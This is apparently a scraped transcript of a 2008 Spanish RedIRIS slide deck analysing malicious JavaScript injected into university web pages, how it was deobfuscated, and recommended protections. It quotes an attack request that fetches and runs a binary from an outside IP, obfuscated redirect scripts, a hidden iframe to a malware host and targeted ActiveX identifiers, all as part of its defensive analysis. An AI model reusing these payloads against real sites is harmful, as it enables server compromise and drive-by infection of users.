tendencias en ataques de servidores http

Post on 30-Jan-2016

33 Views

Category:

Documents

0 Downloads

Preview:

Click to see full reader

DESCRIPTION

Tendencias en ataques de servidores HTTP. Grupos de Trabajo Mayo 2008. Índice. Ataques a clientes y usuarios finales. Estudio de p áginas maliciosas en RedIRIS Código JavaScript ¿Qué pasa despúes ? Resolución. Introducci ón. - PowerPoint PPT Presentation

TRANSCRIPT

Tendencias en ataques de servidores HTTP

Grupos de Trabajo Mayo 2008

Índice

1. Ataques a clientes y usuarios

finales.

2. Estudio de páginas maliciosas

en RedIRIS

3. Código JavaScript

4. ¿Qué pasa despúes ?

5. Resolución

Introducción

Los usuarios finales siguen siendo el objetivo mayoritario de los ataques. Menor protección Mayor número

Las medidas de seguridad “perimetral” clásicas son cada vez má efectivas. Mayor concienciación sobre uso de

cortafuegos. Pocas vulnerabilidades a nivel de S.O.

Ataques vía HTML/ Javascript

Cada vez se emplea más el navegador WWW como medio para comprometer un equipo. Dificultad en el filtrado de código malicioso Interelación entre plugins y navegadores. Escasa concienciación del usuario. Inicialmente basados en ataques de

ingeniería social o páginas WWW gratuitas de contenido dudoso.

El atacante al final instala un troyano/keylogger/bot, etc..

Ataques vía HTML / Javascript 2

• Mpack en junio del año pasado cambia la tendencia.

1. Los usuarios acceden a páginas infectadas

2. Son reencaminados a un servidor

3. Vía CGI/PHP se envía un exploit

4. El usuario se infecta con el malware

¿cuál es la incidencia de esto en RedIRIS?

Estudio de páginas maliciosas

• Recepción de alertas indicando contenidos maliciosos en páginas www: No son contenidos “binarios” (.exe). No se trataba de bots o código PHP) GET /mambo/index2.php?

_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://213.240.162.170/cmd.gif?&cmd=cd%20/tmp;wget%20213.240.162.170/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1

Contenidos HTML normales Páginas de asignaturas de usuario Páginas personales…

Página de ejemplo

• Aparentemente con páginas WWW normales, ya sea portales WWW, información personal, asignaturas, etc.

• Un estudio más detallado muestra la inclusión de código Javascript en las páginas.

JavaScript ofuscado

¿Qué hay aquí ?

• <script language="javascript">document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%0D%0A%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%0D%0A%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%0D%0A%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%0D%0A%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%0D%0A%7D%0D%0A%3C%2F%73%63%72%69%70%74%3E'));dF('%264Dtdsjqu%264Fxjoepx/mpdbujpo%264E%2639%2633iuuq%264B00iju/dmjdl3117/dpn0jo/dhj%264G%2633%2Co%2C%2633%2637tfpsfg%264E%2633%2CfodpefVSJDpnqpofou%2639epdvnfou/sfgfssfs%263%3A%2C%2631%2633%2637qbsbnfufs%264E%2635lfzxpse%2637tf%264E%2635tf%2637vs%264E2%2637IUUQ%60SFGFSFS%264E%2633%2CfodpefVSJDpnqpofou%2639epdvnfou/VSM%263%3A%2C%2633%2637ojdif%264E%2633%2CfodpefVSJDpnqpofou%2639l%263%3A%2C%2633%2637efgbvmu%60lfzxpse%264E%2633%2CfodpefVSJDpnqpofou%2639l%263%3A%263%3A%264C%264D0tdsjqu%264F1');

• </script>

¿Qué hay aquí ?

• Document.write es la forma de ejecutar el código JavaScript ya que fuerza el interprete HTML a evaluar la expresión como si fuera una página nueva.

• Método usado para “ejecutar el código ofuscado”.

• En este caso: la función unscape convierte los %XX en el carácter con código hexadecimal correspondiente

¿Más legible ?

<script language="javascript">document.write(unescape('<script language="javascript">

function dF(s){var s1=unescape(s.substr(0,s.length-1)); var t='';for(i=0;i<s1.length; i++) t+=String.fromCharCode(s1.charCodeAt(i)-

s.substr(s.length-1,1));document.write(unescape(t));}</script>'));dF('&4Dtdsjqu&4Fxjoepx/mpdbujpo&4E&39&33iuuq&4B00iju/dmjdl3117/

dpn0jo/dhj&4G&33,o,&33&37tfpsfg&4E&33, fodpefVSJDpnqpofou&39epdvnfou/sfgfssfs&3:,&31&33&37qbsbnfufs&4E&35lfzxpse&37tf&4E&35tf&37vs&4E2&37IUUQ`SFGFSFS&4E&33,fodpefVSJDpnqpofou&39epdvnfou/VSM&3:, &33&37ojdif&4E&33,fodpefVSJDpnqpofou&39l&3:,&33&37efgbvmu`lfzxpse&4E&33,fodpefVSJDpnqpofou&39l&3:&3:&4C&4D0tdsjqu&4F1');

</script>

Todavía esta ofuscado

• Con un pequeño script se puede ver que el resultado es:

• %3Cscript%3Ewindow.location%3D%28%22http%3A//hit.click2006.com/in.cgi%3F%22+n+%22%26seoref%3D%22+encodeURIComponent%28document.referrer%29+%20%22%26parameter%3D%24keyword%26se%3D%24se%26ur%3D1%26HTTP_REFERER%3D%22+encodeURIComponent%28document.URL%29+%22%26niche%3D%22+encodeURIComponent%28k%29+%22%26default_keyword%3D%22+encodeURIComponent%28k%29%29%3B%3C/script%3E0

• Y tras “unscaparlo de nuevo”:

• <script>window.location=("http://hit.click2006.com/in.cgi?"+n+"&seoref="+encodeURIComponent(document.referrer)+ "&parameter=$keyword&se=$se&ur=1&HTTP_REFERER="+encodeURIComponent(document.URL)+"&niche="+encodeURIComponent(k)+"&default_keyword="+encodeURIComponent(k));

• </script>

• Nada bueno puede haber en hit.click2006.com :-)

Más típico:

• <script type="text/javascript">function C76FB28CC82671EBFD7A8C0CBFEFEB(F6FA85D2E2B376D586B){var

A914188A8C5080E497B63DD7906A8=16;return(parseInt(F6FA85D2E2B376D586B,A914188A8C5080E497B63DD7906A8));}function

C76FB28CC82671EBFD7A8C0CBFEFEB(FCE0C1210B62BCEF54A5){function A21EA9

779BDE63844C(){var D4B20A5CA56BD6AE13B5DE6=2;return D4B20A5CA56BD6AE13B5DE6;}var D8DC63A1B5E4FB99="";for(C4BD81F471A9DF

82907E=0;C4BD81F471A9DF82907E<FCE0C1210B62BCEF54A5.length;C4BD81F471A9DF82907E+=A21EA9779BDE63844C()){D8DC63A1B5E4FB99+

=(String.fromCharCode(B39BC308E05867F791F9934E(FCE0C1210B62BCEF54A5.substr(C4BD81F471A9DF82907E,A21EA9779BDE63844C())))

);}document.write(D8DC63A1B5E4FB99);}C76FB28CC82671EBFD7A8C0CBFEFEB("3C696672616D65207372633D687474703A2F2F627579747261

666669632E636E2F696E2E6367693F31312077696474683D31206865696768743D31207374796C653D22646973706C61793A6E6F6E65223E3C2F696

672616D653E");</script>

Más típico:

<script type="text/javascript">function C76FB28CC82671EBFD7A8C0CBFEFEB(F6FA85D2E2B376D586B){var A914188A8C5080E497B63DD7906A8=16;return(parseInt(F6FA85D2E2B376D586B,A914188A8C5080E497B63DD7906A8));}

function C76FB28CC82671EBFD7A8C0CBFEFEB(FCE0C1210B62BCEF54A5){function A21EA9779BDE63844C(){var D4B20A5CA56BD6AE13B5DE6=2;return

D4B20A5CA56BD6AE13B5DE6;}

var D8DC63A1B5E4FB99="";

for(C4BD81F471A9DF82907E=0;C4BD81F471A9DF82907E<FCE0C1210B62BCEF54A5.length;C4BD81F471A9DF82907E+=A21EA9779BDE63844C()){D8DC63A1B5E4FB99+=(String.fromCharCode(B39BC308E05867F791F9934E(FCE0C1210B62BCEF54A5.substr(C4B

D81F471A9DF82907E,A21EA9779BDE63844C()))));}document.write(D8DC63A1B5E4FB99);}C76FB28CC82671EBFD7A8C0CBFEFEB("3C696672616D65207372633D687474703A2F2F627

579747261666669632E636E2F696E2E6367693F31312077696474683D31206865696768743D31207374796C653D22646973706C61793A6E6F6E65223E3C2F696

672616D653E");</script>

Más típico:

<script type="text/javascript">function HEXDECIMAL(VALOR){var DIVISOR=16;return(parseInt(VALOR,DIVISOR));}

function DECODIFICA(CADENA){function DOS(){var DATO=2;return DATO;}

var CADENA_DECOD="";

for(INDICE=0;INDICE<CADENA.length;INDICE+=DOS()){CADENA_DECOD+=(String.fromCharCode(HEXDECIMAL(CADENA.substr(INDICE,ADOS())

)));}document.write(CADENA_DECOD);}DECODIFICA("3C696672616D65207372633D687474703A2F2F62757974726166666963

2E636E2F696E2E6367693F31312077696474683D31206865696768743D31207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E");

</script>

• Conversor de hexadecimal a caracteres:

Al final siempre tiene que haber: Un Tag de script, <script… Un document.write para llamar a otro servidor.

Al final un iframe hacia:

http://buytraffic.cn/in.cgi?11

http://buytraffic.cn/in.cgi?11

• Sistema de explotación Ya reportado en google: http://ddanchev.blogspot.com/2008/02/yet-a

nother-massive-embedded-malware.html

Este servidor comprueba: Direcciones IP que intentan conectarse.

Solamente admite tres intentos por IP.

Navegador WWW que intenta conectarse. Nada en caso de firefox Error en caso de wget Código malicioso (si se trata de un internet explorer)

Vulnerabilidades:

'BD96C556-65A3-11D0-983A-00C04FC29E36', http://www.milw0rm.com/exploits/2164 Remote MDAC MS06-014

'BD96C556-65A3-11D0-983A-00C04FC29E30', RDS

'AB9BCEDD-EC7E-47E1-9322-D4A210617116', Bussines Object Factory

'0006F033-0000-0000-C000-000000000046', Outlook

'0006F03A-0000-0000-C000-000000000046', Outlook …

'6e32070a-766d-4ee6-879c-dc1fa91d2fc3',

'6414512B-B978-451D-A0D8-FCFDF33E833C',

'7F5B7F63-F06F-4331-8A26-339E03C0AE3D',

'06723E09-F4C2-43c8-8358-09FCD1DB0766',

'639F725F-1B2D-4831-A9FD-874847682010',

'BA018599-1DB3-44f9-83B4-461454C84BF8',

'D0C07D56-7C69-43F1-B4A0-25F5A11FAB19',

'E8CCCDDF-CA28-496b-B050-6C07C962476B',

A partir de aquí se descarga ya el malware…

Datos de RedIRIS

Herramientas

• Wget , vía script para simular diversos navegadores (user agent, etc)

• Perl para hacer scripts de conversión• Google para buscar información

• Y tiempo para analizar el código Java

Datos de RedIRIS

• Escasa repercusión: Solamente 10 servidores de instituciones afiliadas en

el tiempo del estudio. Principalmente: Páginas de Docentes y alumnos. Código detectado con facilidad Diversidad de javascript , sobre todo siguiendo el

patrón 2 (codificación hexadecimal). Solicitud de información adicional:

¡¡ Mayor que la media de incidentes: 20% !! De muchos otros se sigue sin tener información

adicional. ¡¡ Afortunadamente la páginas no nos las tienen que

enviar !!

Soluciones y Conclusiones

Protecciones:

En los servidores:

• Control de acceso a los servidores WWW ¿Quién cambia una página WWW ? ¿Desde donde accede ? Etc etc.

• Antivirus a nivel de ficheros para los servidores WWW

Protecciones:

A nivel de usuarios:§ Update§ Update§ Update

(y no usar el navegador de marras )

Edificio BroncePlaza Manuel Gómez Moreno s/n28020 Madrid. España

Tel.: 91 212 76 20 / 25Fax: 91 212 76 35www.red.es

¿ Final ?

top related